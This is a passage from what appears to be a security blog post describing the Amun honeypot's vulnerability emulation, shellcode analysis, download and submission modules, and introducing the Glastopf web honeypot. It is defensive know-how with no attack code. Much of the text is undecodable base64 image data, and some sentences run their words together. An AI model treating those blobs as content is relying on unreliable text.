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" alt="" />

That means, each incoming network packet of an attacker is matched against the next state of the finite state machine. Ifitmatches,thestateofthevulnerbilitymoduleswitches to the next stage, otherwise the vulnerabilitiy module rejects the incoming request. That way Amun assures that only requests that lead to the exploit of the emulated serviceareaccepted. Alldatathatleadstoanundefinedstate is logged by the Request Handler.

5. Shellcode Analyzer

In case a vulnerability module successfully emulated a service to the point where the attacker sends exploit code, all incoming datais recorded and finally transferred to the Shellcode Analyzer. The Shellcode Analyzer is the backbone of Amun, as it is responsible for shellcode recognition and decoding. Shellcode is recognized using several regular expression that match known parts of shellcode. In most cases this is the decoder part,a small loop that decodes the obfuscated shellcode back to its original

6. Download Modules

As described in the previous section the Shellcode Analyzer extracts the commands from the shellcode. These commands end up to be some kind of download method to get the actual malware, e.g. the worm binary. As the goal of Amun is to capture autonomously spreadingmalware,wewanttogetholdofanyadvertised binary file, thus we need Amun to be able to handle different kinds of download methods. For each download method we can provide a module that is loaded upon the start of the honeypot. Amun currently provides four basic download modules, namely

. HTTP
. FTP
. TFTP
. direct download.

7. Submission Modules

Once a file has been downloaded using any of the above mentioned download modules it needs to be processed further. That means it can be stored to harddisc for example, or send to a remote service. In the default configuration Amun only loads the submit-md5 module. This modules stores each downloaded binary to a certain folder on the harddrive. As a filename it uses the MD5 hash of the content of the file.

Relevant Link:

https://ub-madoc.bib.uni-mannheim.de/2595/1/amunhoneypot2.pdf
http://subs.emis.de/LNI/Proceedings/Proceedings170/177.pdf
https://sourceforge.net/projects/amunhoney/

6. Glastopf web honeypot

Glastopf is a Honeypot which emulates thousands of vulnerabilities to gather data from attacks targeting web applications.
Glastopf的核心策略不是100%模拟一个高交互的WEB系统,它的目标是针对自动化漏洞扫描/利用工具,通过对漏洞利用方式进行归类,整体都某一类的利用方式返回对应的合理结果,以此实现低交互的目的

0x1: 总体架构图

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